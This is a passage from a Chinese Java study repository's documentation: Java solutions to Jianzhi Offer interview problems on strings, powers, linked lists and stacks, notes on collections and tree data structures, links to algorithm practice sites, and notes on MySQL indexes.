0)&& (column< array[0].length)){\n            if(array[row][column] > target){\n                row--;\n            }else if(array[row][column] < target){\n               column++;\n            }else{\n                return true;\n            }\n        }\n        return false;\n    }\n```\n\n### 五 替换空格\n\n#### **题目描述：**\n\n请实现一个函数，将一个字符串中的空格替换成“%20”。例如，当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy。\n\n#### **问题分析：**\n\n这道题不难，我们可以通过循环判断字符串的字符是否为空格，是的话就利用append()方法添加追加“%20”，否则还是追加原字符。\n\n或者最简单的方法就是利用： replaceAll(String regex,String replacement)方法了，一行代码就可以解决。\n\n#### **示例代码：**\n\n**常规做法：**\n\n```java\n    public String replaceSpace(StringBuffer str) {\n        StringBuffer out=new StringBuffer();\n        for (int i = 0; i < str.toString().length(); i++) {\n            char b=str.charAt(i);\n            if(String.valueOf(b).equals(\" \")){\n                out.append(\"%20\");\n            }else{\n                out.append(b);\n            }\n        }\n        return out.toString();     \n    }\n```\n\n**一行代码解决：**\n\n```java\n    public String replaceSpace(StringBuffer str) {\n        //return str.toString().replaceAll(\" \", \"%20\");\n        //public String replaceAll(String regex,String replacement)\n        //用给定的替换替换与给定的regular expression匹配的此字符串的每个子字符串。 \n        //\\ 转义字符. 如果你要使用 \"\\\" 本身, 则应该使用 \"\\\\\". String类型中的空格用“\\s”表示，所以我这里猜测\"\\\\s\"就是代表空格的意思\n        return str.toString().replaceAll(\"\\\\s\", \"%20\");\n    }\n\n```\n\n### 六 数值的整数次方\n\n#### **题目描述：**\n\n给定一个double类型的浮点数base和int类型的整数exponent。求base的exponent次方。\n\n#### **问题解析：**\n\n这道题算是比较麻烦和难一点的一个了。我这里采用的是**二分幂**思想，当然也可以采用**快速幂**。\n更具剑指offer书中细节，该题的解题思路如下：\n1.当底数为0且指数<0时，会出现对0求倒数的情况，需进行错误处理，设置一个全局变量；\n2.判断底数是否等于0，由于base为double型，所以不能直接用==判断\n3.优化求幂函数（二分幂）。\n当n为偶数，a^n =（a^n/2）*（a^n/2）；\n当n为奇数，a^n = a^[(n-1)/2] * a^[(n-1)/2] * a。时间复杂度O(logn)\n\n**时间复杂度**：O(logn)\n\n#### **示例代码：**\n\n```java\npublic class Solution { \n      boolean invalidInput=false;    \n      public double Power(double base, int exponent) {\n          //如果底数等于0并且指数小于0\n          //由于base为double型，不能直接用==判断\n        if(equal(base,0.0)&&exponent<0){\n            invalidInput=true;\n            return 0.0;\n        }\n        int absexponent=exponent;\n         //如果指数小于0，将指数转正\n        if(exponent<0)\n            absexponent=-exponent;\n         //getPower方法求出base的exponent次方。\n        double res=getPower(base,absexponent);\n         //如果指数小于0，所得结果为上面求的结果的倒数\n        if(exponent<0)\n            res=1.0/res;\n        return res;\n  }\n    //比较两个double型变量是否相等的方法\n    boolean equal(double num1,double num2){\n        if(num1-num2>-0.000001&&num1-num2<0.000001)\n            return true;\n        else\n            return false;\n    }\n    //求出b的e次方的方法\n    double getPower(double b,int e){\n        //如果指数为0，返回1\n        if(e==0)\n            return 1.0;\n        //如果指数为1，返回b\n        if(e==1)\n            return b;\n        //e>>1相等于e/2，这里就是求a^n =（a^n/2）*（a^n/2）\n        double result=getPower(b,e>>1);\n        result*=result;\n        //如果指数n为奇数，则要再乘一次底数base\n        if((e&1)==1)\n            result*=b;\n        return result;\n    }\n}\n```\n\n当然这一题也可以采用笨方法：累乘。不过这种方法的时间复杂度为O（n），这样没有前一种方法效率高。\n\n```java\n    // 使用累乘\n    public double powerAnother(double base, int exponent) {\n        double result = 1.0;\n        for (int i = 0; i < Math.abs(exponent); i++) {\n            result *= base;\n        }\n        if (exponent >= 0)\n            return result;\n        else\n            return 1 / result;\n    }\n```\n\n### 七 调整数组顺序使奇数位于偶数前面\n\n#### **题目描述：**\n\n输入一个整数数组，实现一个函数来调整该数组中数字的顺序，使得所有的奇数位于数组的前半部分，所有的偶数位于位于数组的后半部分，并保证奇数和奇数，偶数和偶数之间的相对位置不变。\n\n#### **问题解析：**\n\n这道题有挺多种解法的，给大家介绍一种我觉得挺好理解的方法：\n我们首先统计奇数的个数假设为n,然后新建一个等长数组，然后通过循环判断原数组中的元素为偶数还是奇数。如果是则从数组下标0的元素开始，把该奇数添加到新数组；如果是偶数则从数组下标为n的元素开始把该偶数添加到新数组中。\n\n#### **示例代码：**\n\n时间复杂度为O（n），空间复杂度为O（n）的算法\n\n```java\npublic class Solution {\n    public void reOrderArray(int [] array) {\n        //如果数组长度等于0或者等于1，什么都不做直接返回\n        if(array.length==0||array.length==1) \n            return;\n        //oddCount：保存奇数个数\n        //oddBegin：奇数从数组头部开始添加\n        int oddCount=0,oddBegin=0;\n        //新建一个数组\n        int[] newArray=new int[array.length];\n        //计算出（数组中的奇数个数）开始添加元素\n        for(int i=0;i<array.length;i++){\n            if((array[i]&1)==1) oddCount++;\n        }\n        for(int i=0;i<array.length;i++){\n            //如果数为基数新数组从头开始添加元素\n            //如果为偶数就从oddCount（数组中的奇数个数）开始添加元素\n            if((array[i]&1)==1) \n                newArray[oddBegin++]=array[i];\n            else newArray[oddCount++]=array[i];\n        }\n        for(int i=0;i<array.length;i++){\n            array[i]=newArray[i];\n        }\n    }\n}\n```\n\n### 八 链表中倒数第k个节点\n\n#### **题目描述：**\n\n输入一个链表，输出该链表中倒数第k个结点\n\n#### **问题分析：**\n\n**一句话概括：**\n两个指针一个指针p1先开始跑，指针p1跑到k-1个节点后，另一个节点p2开始跑，当p1跑到最后时，p2所指的指针就是倒数第k个节点。\n\n**思想的简单理解：**\n前提假设：链表的结点个数(长度)为n。\n规律一：要找到倒数第k个结点，需要向前走多少步呢？比如倒数第一个结点，需要走n步，那倒数第二个结点呢？很明显是向前走了n-1步，所以可以找到规律是找到倒数第k个结点，需要向前走n-k+1步。\n**算法开始：**\n\n1. 设两个都指向head的指针p1和p2，当p1走了k-1步的时候，停下来。p2之前一直不动。\n2. p1的下一步是走第k步，这个时候，p2开始一起动了。至于为什么p2这个时候动呢？看下面的分析。\n3. 当p1走到链表的尾部时，即p1走了n步。由于我们知道p2是在p1走了k-1步才开始动的，也就是说p1和p2永远差k-1步。所以当p1走了n步时，p2走的应该是在n-(k-1)步。即p2走了n-k+1步，此时巧妙的是p2正好指向的是规律一的倒数第k个结点处。\n   这样是不是很好理解了呢？\n\n#### **考察内容：**\n\n链表+代码的鲁棒性\n\n#### **示例代码：**\n\n```java\n/*\n//链表类\npublic class ListNode {\n    int val;\n    ListNode next = null;\n\n    ListNode(int val) {\n        this.val = val;\n    }\n}*/\n\n//时间复杂度O(n),一次遍历即可\npublic class Solution {\n    public ListNode FindKthToTail(ListNode head,int k) {\n        ListNode pre=null,p=null;\n        //两个指针都指向头结点\n        p=head;\n        pre=head;\n        //记录k值\n        int a=k;\n        //记录节点的个数\n        int count=0;\n        //p指针先跑，并且记录节点数，当p指针跑了k-1个节点后，pre指针开始跑，\n        //当p指针跑到最后时，pre所指指针就是倒数第k个节点\n        while(p!=null){\n            p=p.next;\n            count++;\n            if(k<1){\n                pre=pre.next;\n            }\n            k--;\n        }\n        //如果节点个数小于所求的倒数第k个节点，则返回空\n        if(count<a) return null;\n        return pre;\n            \n    }\n}\n```\n\n### 九 反转链表\n\n#### **题目描述：**\n\n输入一个链表，反转链表后，输出链表的所有元素。\n\n#### **问题分析：**\n\n链表的很常规的一道题，这一道题思路不算难，但自己实现起来真的可能会感觉无从下手，我是参考了别人的代码。\n思路就是我们根据链表的特点，前一个节点指向下一个节点的特点，把后面的节点移到前面来。\n就比如下图：我们把1节点和2节点互换位置，然后再将3节点指向2节点，4节点指向3节点，这样以来下面的链表就被反转了。\n![链表](https://img-blog.csdn.net/20160420134000174)\n\n#### **考察内容：**\n\n链表+代码的鲁棒性\n\n#### **示例代码：**\n\n```java\n/*\npublic class ListNode {\n    int val;\n    ListNode next = null;\n\n    ListNode(int val) {\n        this.val = val;\n    }\n}*/\npublic class Solution {\npublic ListNode ReverseList(ListNode head) {\n   ListNode next = null;\n   ListNode pre = null;\n    while (head != null) {\n          //保存要反转到头来的那个节点\n           next = head.next;\n           //要反转的那个节点指向已经反转的上一个节点\n           head.next = pre;\n           //上一个已经反转到头部的节点\n           pre = head;\n           //一直向链表尾走\n           head = next;\n    }\n    return pre;\n}\n\n}\n```\n\n### 十 合并两个排序的链表\n\n#### **题目描述：**\n\n输入两个单调递增的链表，输出两个链表合成后的链表，当然我们需要合成后的链表满足单调不减规则。\n\n#### **问题分析：**\n\n我们可以这样分析:\n\n1. 假设我们有两个链表 A,B；\n2. A的头节点A1的值与B的头结点B1的值比较，假设A1小，则A1为头节点；\n3. A2再和B1比较，假设B1小,则，A1指向B1；\n4. A2再和B2比较。。。。。。。\n   就这样循环往复就行了，应该还算好理解。\n\n#### **考察内容：**\n\n链表+代码的鲁棒性\n\n#### **示例代码：**\n\n**非递归版本：**\n\n```java\n/*\npublic class ListNode {\n    int val;\n    ListNode next = null;\n\n    ListNode(int val) {\n        this.val = val;\n    }\n}*/\npublic class Solution {\n    public ListNode Merge(ListNode list1,ListNode list2) {\n       //list1为空，直接返回list2\n       if(list1 == null){\n            return list2;\n        }\n        //list2为空，直接返回list1\n        if(list2 == null){\n            return list1;\n        }\n        ListNode mergeHead = null;\n        ListNode current = null;   \n        //当list1和list2不为空时\n        while(list1!=null && list2!=null){\n            //取较小值作头结点 \n            if(list1.val <= list2.val){\n                if(mergeHead == null){\n                   mergeHead = current = list1;\n                }else{\n                   current.next = list1;\n                    //current节点保存list1节点的值因为下一次还要用\n                   current = list1;\n                }\n                //list1指向下一个节点\n                list1 = list1.next;\n            }else{\n                if(mergeHead == null){\n                   mergeHead = current = list2;\n                }else{\n                   current.next = list2;\n                     //current节点保存list2节点的值因为下一次还要用\n                   current = list2;\n                }\n                //list2指向下一个节点\n                list2 = list2.next;\n            }\n        }\n        if(list1 == null){\n            current.next = list2;\n        }else{\n            current.next = list1;\n        }\n        return mergeHead;\n    }\n}\n```\n\n**递归版本：**\n\n```java\npublic ListNode Merge(ListNode list1,ListNode list2) {\n       if(list1 == null){\n           return list2;\n       }\n       if(list2 == null){\n           return list1;\n       }\n       if(list1.val <= list2.val){\n           list1.next = Merge(list1.next, list2);\n           return list1;\n       }else{\n           list2.next = Merge(list1, list2.next);\n           return list2;\n       }       \n   }\n```\n\n### 十一 用两个栈实现队列\n\n#### **题目描述：**\n\n用两个栈来实现一个队列，完成队列的Push和Pop操作。 队列中的元素为int类型。\n\n#### 问题分析：\n\n先来回顾一下栈和队列的基本特点：\n**栈：**后进先出（LIFO）\n**队列：** 先进先出\n很明显我们需要根据JDK给我们提供的栈的一些基本方法来实现。先来看一下Stack类的一些基本方法：\n![Stack类的一些常见方法](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-4-4/5985000.jpg)\n\n既然题目给了我们两个栈，我们可以这样考虑当push的时候将元素push进stack1，pop的时候我们先把stack1的元素pop到stack2，然后再对stack2执行pop操作，这样就可以保证是先进先出的。（负[pop]负[pop]得正[先进先出]）\n\n#### 考察内容：\n\n队列+栈\n\n#### 示例代码：\n\n```java\n//左程云的《程序员代码面试指南》的答案\nimport java.util.Stack;\n \npublic class Solution {\n    Stack<Integer> stack1 = new Stack<Integer>();\n    Stack<Integer> stack2 = new Stack<Integer>();\n     \n    //当执行push操作时，将元素添加到stack1\n    public void push(int node) {\n        stack1.push(node);\n    }\n     \n    public int pop() {\n        //如果两个队列都为空则抛出异常,说明用户没有push进任何元素\n        if(stack1.empty()&&stack2.empty()){\n            throw new RuntimeException(\"Queue is empty!\");\n        }\n        //如果stack2不为空直接对stack2执行pop操作，\n        if(stack2.empty()){\n            while(!stack1.empty()){\n                //将stack1的元素按后进先出push进stack2里面\n                stack2.push(stack1.pop());\n            }\n        }\n          return stack2.pop();\n    }\n}\n```\n\n### 十二 栈的压入,弹出序列\n\n#### **题目描述：**\n\n输入两个整数序列，第一个序列表示栈的压入顺序，请判断第二个序列是否为该栈的弹出顺序。假设压入栈的所有数字均不相等。例如序列1,2,3,4,5是某栈的压入顺序，序列4，5,3,2,1是该压栈序列对应的一个弹出序列，但4,3,5,1,2就不可能是该压栈序列的弹出序列。（注意：这两个序列的长度是相等的）\n\n#### **题目分析：**\n\n这道题想了半天没有思路，参考了Alias的答案，他的思路写的也很详细应该很容易看懂。\n作者：Alias\nhttps://www.nowcoder.com/questionTerminal/d77d11405cc7470d82554cb392585106\n来源：牛客网\n\n【思路】借用一个辅助的栈，遍历压栈顺序，先讲第一个放入栈中，这里是1，然后判断栈顶元素是不是出栈顺序的第一个元素，这里是4，很显然1≠4，所以我们继续压栈，直到相等以后开始出栈，出栈一个元素，则将出栈顺序向后移动一位，直到不相等，这样循环等压栈顺序遍历完成，如果辅助栈还不为空，说明弹出序列不是该栈的弹出顺序。\n\n举例：\n\n入栈1,2,3,4,5\n\n出栈4,5,3,2,1\n\n首先1入辅助栈，此时栈顶1≠4，继续入栈2\n\n此时栈顶2≠4，继续入栈3\n\n此时栈顶3≠4，继续入栈4\n\n此时栈顶4＝4，出栈4，弹出序列向后一位，此时为5，,辅助栈里面是1,2,3\n\n此时栈顶3≠5，继续入栈5\n\n此时栈顶5=5，出栈5,弹出序列向后一位，此时为3，,辅助栈里面是1,2,3\n\n….\n依次执行，最后辅助栈为空。如果不为空说明弹出序列不是该栈的弹出顺序。 \n\n\n\n#### **考察内容：**\n\n栈\n\n#### **示例代码：**\n\n```java\nimport java.util.ArrayList;\nimport java.util.Stack;\n//这道题没想出来，参考了Alias同学的答案：https://www.nowcoder.com/questionTerminal/d77d11405cc7470d82554cb392585106\npublic class Solution {\n    public boolean IsPopOrder(int [] pushA,int [] popA) {\n        if(pushA.length == 0 || popA.length == 0)\n            return false;\n        Stack<Integer> s = new Stack<Integer>();\n        //用于标识弹出序列的位置\n        int popIndex = 0;\n        for(int i = 0; i< pushA.length;i++){\n            s.push(pushA[i]);\n            //如果栈不为空，且栈顶元素等于弹出序列\n            while(!s.empty() &&s.peek() == popA[popIndex]){\n                //出栈\n                s.pop();\n                //弹出序列向后一位\n                popIndex++;\n            }\n        }\n        return s.empty();\n    }\n}\n```"
  },
  {
    "path": "docs/dataStructures-algorithms/数据结构.md",
    "content": "下面只是简单地总结，给了一些参考文章，后面会对这部分内容进行重构。\n<!-- MarkdownTOC -->\n\n- [Queue](#queue)\n    - [什么是队列](#什么是队列)\n    - [队列的种类](#队列的种类)\n    - [Java 集合框架中的队列 Queue](#java-集合框架中的队列-queue)\n    - [推荐文章](#推荐文章)\n- [Set](#set)\n    - [什么是 Set](#什么是-set)\n    - [补充：有序集合与无序集合说明](#补充：有序集合与无序集合说明)\n    - [HashSet 和 TreeSet 底层数据结构](#hashset-和-treeset-底层数据结构)\n    - [推荐文章](#推荐文章-1)\n- [List](#list)\n    - [什么是List](#什么是list)\n    - [List的常见实现类](#list的常见实现类)\n    - [ArrayList 和 LinkedList 源码学习](#arraylist-和-linkedlist-源码学习)\n    - [推荐阅读](#推荐阅读)\n- [Map](#map)\n- [树](#树)\n\n<!-- /MarkdownTOC -->\n\n\n## Queue\n\n### 什么是队列\n队列是数据结构中比较重要的一种类型，它支持 FIFO，尾部添加、头部删除（先进队列的元素先出队列），跟我们生活中的排队类似。\n\n### 队列的种类\n\n- **单队列**（单队列就是常见的队列, 每次添加元素时，都是添加到队尾，存在“假溢出”的问题也就是明明有位置却不能添加的情况）\n- **循环队列**（避免了“假溢出”的问题）\n\n### Java 集合框架中的队列 Queue\n\nJava 集合中的 Queue 继承自 Collection 接口 ，Deque, LinkedList, PriorityQueue, BlockingQueue 等类都实现了它。\nQueue 用来存放 等待处理元素 的集合，这种场景一般用于缓冲、并发访问。\n除了继承 Collection 接口的一些方法，Queue 还添加了额外的 添加、删除、查询操作。\n\n### 推荐文章\n\n- [Java 集合深入理解（9）：Queue 队列](https://blog.csdn.net/u011240877/article/details/52860924)\n\n## Set\n\n### 什么是 Set\nSet 继承于 Collection 接口，是一个不允许出现重复元素，并且无序的集合，主要 HashSet 和 TreeSet 两大实现类。\n\n在判断重复元素的时候，Set 集合会调用 hashCode()和 equal()方法来实现。\n\n### 补充：有序集合与无序集合说明\n- 有序集合：集合里的元素可以根据 key 或 index 访问 (List、Map)\n- 无序集合：集合里的元素只能遍历。（Set）\n\n\n### HashSet 和 TreeSet 底层数据结构\n\n**HashSet** 是哈希表结构，主要利用 HashMap 的 key 来存储元素，计算插入元素的 hashCode 来获取元素在集合中的位置；\n\n**TreeSet** 是红黑树结构，每一个元素都是树中的一个节点，插入的元素都会进行排序；\n\n\n### 推荐文章\n\n- [Java集合--Set(基础)](https://www.jianshu.com/p/b48c47a42916)\n\n## List\n\n### 什么是List\n\n在 List 中，用户可以精确控制列表中每个元素的插入位置，另外用户可以通过整数索引（列表中的位置）访问元素，并搜索列表中的元素。 与 Set 不同，List 通常允许重复的元素。 另外 List 是有序集合而 Set 是无序集合。\n\n### List的常见实现类\n\n**ArrayList** 是一个数组队列，相当于动态数组。它由数组实现，随机访问效率高，随机插入、随机删除效率低。\n\n**LinkedList** 是一个双向链表。它也可以被当作堆栈、队列或双端队列进行操作。LinkedList随机访问效率低，但随机插入、随机删除效率高。\n\n**Vector** 是矢量队列，和ArrayList一样，它也是一个动态数组，由数组实现。但是ArrayList是非线程安全的，而Vector是线程安全的。\n\n**Stack** 是栈，它继承于Vector。它的特性是：先进后出(FILO, First In Last Out)。相关阅读：[java数据结构与算法之栈（Stack）设计与实现](https://blog.csdn.net/javazejian/article/details/53362993)\n\n### ArrayList 和 LinkedList 源码学习\n\n- [ArrayList 源码学习](https://github.com/Snailclimb/JavaGuide/blob/master/docs/java/ArrayList.md)    \n- [LinkedList 源码学习](https://github.com/Snailclimb/JavaGuide/blob/master/docs/java/LinkedList.md)   \n\n### 推荐阅读\n\n- [java 数据结构与算法之顺序表与链表深入分析](https://blog.csdn.net/javazejian/article/details/52953190)\n\n\n## Map\n\n\n- [集合框架源码学习之 HashMap(JDK1.8)](https://juejin.im/post/5ab0568b5188255580020e56)\n- [ConcurrentHashMap 实现原理及源码分析](https://link.juejin.im/?target=http%3A%2F%2Fwww.cnblogs.com%2Fchengxiao%2Fp%2F6842045.html)\n\n## 树\n  * ### 1 二叉树\n  \n     [二叉树](https://baike.baidu.com/item/%E4%BA%8C%E5%8F%89%E6%A0%91)（百度百科）\n\n    (1)[完全二叉树](https://baike.baidu.com/item/%E5%AE%8C%E5%85%A8%E4%BA%8C%E5%8F%89%E6%A0%91)——若设二叉树的高度为h，除第 h 层外，其它各层 (1～h-1) 的结点数都达到最大个数，第h层有叶子结点，并且叶子结点都是从左到右依次排布，这就是完全二叉树。\n    \n    (2)[满二叉树](https://baike.baidu.com/item/%E5%AE%8C%E5%85%A8%E4%BA%8C%E5%8F%89%E6%A0%91)——除了叶结点外每一个结点都有左右子叶且叶子结点都处在最底层的二叉树。\n    \n    (3)[平衡二叉树](https://baike.baidu.com/item/%E5%B9%B3%E8%A1%A1%E4%BA%8C%E5%8F%89%E6%A0%91/10421057)——平衡二叉树又被称为AVL树（区别于AVL算法），它是一棵二叉排序树，且具有以下性质：它是一棵空树或它的左右两个子树的高度差的绝对值不超过1，并且左右两个子树都是一棵平衡二叉树。 \n\n  * ### 2 完全二叉树\n\n    [完全二叉树](https://baike.baidu.com/item/%E5%AE%8C%E5%85%A8%E4%BA%8C%E5%8F%89%E6%A0%91)（百度百科）\n    \n    完全二叉树：叶节点只能出现在最下层和次下层，并且最下面一层的结点都集中在该层最左边的若干位置的二叉树\n  * ### 3 满二叉树\n    \n     [满二叉树](https://baike.baidu.com/item/%E6%BB%A1%E4%BA%8C%E5%8F%89%E6%A0%91)（百度百科，国内外的定义不同）\n\n     国内教程定义：一个二叉树，如果每一个层的结点数都达到最大值，则这个二叉树就是满二叉树。也就是说，如果一个二叉树的层数为K，且结点总数是(2^k) -1 ，则它就是满二叉树。\n  * ### 堆\n  \n     [数据结构之堆的定义](https://blog.csdn.net/qq_33186366/article/details/51876191)\n\n    堆是具有以下性质的完全二叉树：每个结点的值都大于或等于其左右孩子结点的值，称为大顶堆；或者每个结点的值都小于或等于其左右孩子结点的值，称为小顶堆\n  *  ### 4 二叉查找树（BST）\n    \n     [浅谈算法和数据结构: 七 二叉查找树](http://www.cnblogs.com/yangecnu/p/Introduce-Binary-Search-Tree.html)\n\n      二叉查找树的特点：\n\n      1. 若任意节点的左子树不空，则左子树上所有结点的     值均小于它的根结点的值；\n      2. 若任意节点的右子树不空，则右子树上所有结点的值均大于它的根结点的值；\n      3. 任意节点的左、右子树也分别为二叉查找树。\n      4. 没有键值相等的节点（no duplicate nodes）。\n\n  *  ### 5 平衡二叉树（Self-balancing binary search tree）\n  \n     [ 平衡二叉树](https://baike.baidu.com/item/%E5%B9%B3%E8%A1%A1%E4%BA%8C%E5%8F%89%E6%A0%91)（百度百科，平衡二叉树的常用实现方法有红黑树、AVL、替罪羊树、Treap、伸展树等）\n  * ### 6 红黑树\n    \n     - 红黑树特点:\n    1. 每个节点非红即黑；\n    2. 根节点总是黑色的；\n    3. 每个叶子节点都是黑色的空节点（NIL节点）；\n    4. 如果节点是红色的，则它的子节点必须是黑色的（反之不一定）；\n    5. 从根节点到叶节点或空子节点的每条路径，必须包含相同数目的黑色节点（即相同的黑色高度）\n    \n     - 红黑树的应用：\n    \n         TreeMap、TreeSet以及JDK1.8之后的HashMap底层都用到了红黑树。\n    \n     - 为什么要用红黑树\n    \n       简单来说红黑树就是为了解决二叉查找树的缺陷，因为二叉查找树在某些情况下会退化成一个线性结构。详细了解可以查看 [漫画：什么是红黑树？](https://juejin.im/post/5a27c6946fb9a04509096248#comment)（也介绍到了二叉查找树，非常推荐）\n    \n     - 推荐文章： \n       -  [漫画：什么是红黑树？](https://juejin.im/post/5a27c6946fb9a04509096248#comment)（也介绍到了二叉查找树，非常推荐）\n       -  [寻找红黑树的操作手册](http://dandanlove.com/2018/03/18/red-black-tree/)（文章排版以及思路真的不错）\n       -  [红黑树深入剖析及Java实现](https://zhuanlan.zhihu.com/p/24367771)（美团点评技术团队）    \n  *  ### 7 B-，B+，B*树\n  \n      [二叉树学习笔记之B树、B+树、B*树 ](https://yq.aliyun.com/articles/38345)\n\n      [《B-树，B+树，B*树详解》](https://blog.csdn.net/aqzwss/article/details/53074186)\n\n      [《B-树，B+树与B*树的优缺点比较》](https://blog.csdn.net/bigtree_3721/article/details/73632405)\n        \n     B-树（或B树）是一种平衡的多路查找(又称排序)树，在文件系统中有所应用。主要用作文件的索引。其中的B就表示平衡(Balance) \n    1. B+ 树的叶子节点链表结构相比于 B- 树便于扫库，和范围检索。\n    2. B+树支持range-query(区间查询)非常方便，而B树不支持。这是数据库选用B+树的最主要原因。\n    3. B\\*树 是B+树的变体，B\\*树分配新结点的概率比B+树要低，空间使用率更高；\n  *  ### 8 LSM 树\n    \n     [[HBase] LSM树 VS B+树](https://blog.csdn.net/dbanote/article/details/8897599)\n     \n     B+树最大的性能问题是会产生大量的随机IO\n\n     为了克服B+树的弱点，HBase引入了LSM树的概念，即Log-Structured Merge-Trees。\n        \n     [LSM树由来、设计思想以及应用到HBase的索引](http://www.cnblogs.com/yanghuahui/p/3483754.html)\n\n\n## 图\n\n\n\n\n## BFS及DFS\n\n- [《使用BFS及DFS遍历树和图的思路及实现》](https://blog.csdn.net/Gene1994/article/details/85097507)\n\n"
  },
  {
    "path": "docs/dataStructures-algorithms/算法学习资源推荐.md",
    "content": "我比较推荐大家可以刷一下 Leetcode ，我自己平时没事也会刷一下，我觉得刷 Leetcode 不仅是为了能让你更从容地面对面试中的手撕算法问题，更可以提高你的编程思维能力、解决问题的能力以及你对某门编程语言 API 的熟练度。当然牛客网也有一些算法题，我下面也整理了一些。\n\n## LeetCode                   \n\n- [LeetCode（中国）官网](https://leetcode-cn.com/)\n\n- [如何高效地使用 LeetCode](https://leetcode-cn.com/articles/%E5%A6%82%E4%BD%95%E9%AB%98%E6%95%88%E5%9C%B0%E4%BD%BF%E7%94%A8-leetcode/)\n\n\n## 牛客网\n\n- [牛客网官网](https://www.nowcoder.com)\n- [剑指offer编程题](https://www.nowcoder.com/ta/coding-interviews)\n\n- [2017校招真题](https://www.nowcoder.com/ta/2017test)\n- [华为机试题](https://www.nowcoder.com/ta/huawei)\n\n\n## 公司真题\n\n- [ 网易2018校园招聘编程题真题集合](https://www.nowcoder.com/test/6910869/summary)\n- [ 网易2018校招内推编程题集合](https://www.nowcoder.com/test/6291726/summary)\n- [2017年校招全国统一模拟笔试(第五场)编程题集合](https://www.nowcoder.com/test/5986669/summary)\n- [2017年校招全国统一模拟笔试(第四场)编程题集合](https://www.nowcoder.com/test/5507925/summary)\n- [2017年校招全国统一模拟笔试(第三场)编程题集合](https://www.nowcoder.com/test/5217106/summary)\n- [2017年校招全国统一模拟笔试(第二场)编程题集合](https://www.nowcoder.com/test/4546329/summary)\n- [ 2017年校招全国统一模拟笔试(第一场)编程题集合](https://www.nowcoder.com/test/4236887/summary)\n- [百度2017春招笔试真题编程题集合](https://www.nowcoder.com/test/4998655/summary)\n- [网易2017春招笔试真题编程题集合](https://www.nowcoder.com/test/4575457/summary)\n- [网易2017秋招编程题集合](https://www.nowcoder.com/test/2811407/summary)\n- [网易有道2017内推编程题](https://www.nowcoder.com/test/2385858/summary)\n- [ 滴滴出行2017秋招笔试真题-编程题汇总](https://www.nowcoder.com/test/3701760/summary)\n- [腾讯2017暑期实习生编程题](https://www.nowcoder.com/test/1725829/summary)\n- [今日头条2017客户端工程师实习生笔试题](https://www.nowcoder.com/test/1649301/summary)\n- [今日头条2017后端工程师实习生笔试题](https://www.nowcoder.com/test/1649268/summary)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/database/MySQL Index.md",
    "content": "\n# 思维导图-索引篇\n\n> 系列思维导图源文件（数据库+架构）以及思维导图制作软件—XMind8 破解安装，公众号后台回复：**“思维导图”** 免费领取！（下面的图片不是很清楚，原图非常清晰，另外提供给大家源文件也是为了大家根据自己需要进行修改）\n\n![【思维导图-索引篇】](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-2/70973487.jpg)\n\n> **下面是我补充的一些内容**\n\n# 为什么索引能提高查询速度\n\n> 以下内容整理自：\n>  地址： https://juejin.im/post/5b55b842f265da0f9e589e79\n>  作者 ：Java3y\n\n### 先从 MySQL 的基本存储结构说起\n\nMySQL的基本存储结构是页(记录都存在页里边)：\n\n![MySQL的基本存储结构是页](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-2/28559421.jpg)\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-2/82053134.jpg)\n\n - **各个数据页可以组成一个双向链表**\n -   **每个数据页中的记录又可以组成一个单向链表**\n       - 每个数据页都会为存储在它里边儿的记录生成一个页目录，在通过主键查找某条记录的时候可以在页目录中使用二分法快速定位到对应的槽，然后再遍历该槽对应分组中的记录即可快速找到指定的记录\n       - 以其他列(非主键)作为搜索条件：只能从最小记录开始依次遍历单链表中的每条记录。\n\n所以说，如果我们写select * from user where indexname = 'xxx'这样没有进行任何优化的sql语句，默认会这样做：\n\n1. **定位到记录所在的页:需要遍历双向链表，找到所在的页**\n2. **从所在的页内中查找相应的记录:由于不是根据主键查询，只能遍历所在页的单链表了**\n\n很明显，在数据量很大的情况下这样查找会很慢！这样的时间复杂度为O（n）。\n\n\n### 使用索引之后\n\n索引做了些什么可以让我们查询加快速度呢？其实就是将无序的数据变成有序(相对)：\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-2/5373082.jpg)\n\n要找到id为8的记录简要步骤：\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-2/89338047.jpg)\n\n很明显的是：没有用索引我们是需要遍历双向链表来定位对应的页，现在通过 **“目录”** 就可以很快地定位到对应的页上了！（二分查找，时间复杂度近似为O(logn)）\n\n其实底层结构就是B+树，B+树作为树的一种实现，能够让我们很快地查找出对应的记录。\n\n# 关于索引其他重要的内容补充\n\n> 以下内容整理自：《Java工程师修炼之道》\n\n\n### 最左前缀原则\n\nMySQL中的索引可以以一定顺序引用多列，这种索引叫作联合索引。如User表的name和city加联合索引就是(name,city)，而最左前缀原则指的是，如果查询的时候查询条件精确匹配索引的左边连续一列或几列，则此列就可以被用到。如下：        \n\n```                                                                                       \nselect * from user where name=xx and city=xx ; ／／可以命中索引\nselect * from user where name=xx ; // 可以命中索引\nselect * from user where city=xx; // 无法命中索引            \n```                                                          \n这里需要注意的是，查询的时候如果两个条件都用上了，但是顺序不同，如 `city= xx and name ＝xx`，那么现在的查询引擎会自动优化为匹配联合索引的顺序，这样是能够命中索引的.\n\n由于最左前缀原则，在创建联合索引时，索引字段的顺序需要考虑字段值去重之后的个数，较多的放前面。ORDERBY子句也遵循此规则。\n\n### 注意避免冗余索引\n\n冗余索引指的是索引的功能相同，能够命中 就肯定能命中 ，那么 就是冗余索引如（name,city ）和（name ）这两个索引就是冗余索引，能够命中后者的查询肯定是能够命中前者的 在大多数情况下，都应该尽量扩展已有的索引而不是创建新索引。\n\nMySQLS.7 版本后，可以通过查询 sys 库的 `schema_redundant_indexes` 表来查看冗余索引             \n\n### Mysql如何为表字段添加索引？？？\n\n1.添加PRIMARY KEY（主键索引）\n\n```\nALTER TABLE `table_name` ADD PRIMARY KEY ( `column` ) \n```\n2.添加UNIQUE(唯一索引) \n\n```\nALTER TABLE `table_name` ADD UNIQUE ( `column` ) \n```\n \n3.添加INDEX(普通索引) \n\n```\nALTER TABLE `table_name` ADD INDEX index_name ( `column` )\n```\n \n4.添加FULLTEXT(全文索引) \n\n```\nALTER TABLE `table_name` ADD FULLTEXT ( `column`) \n```\n 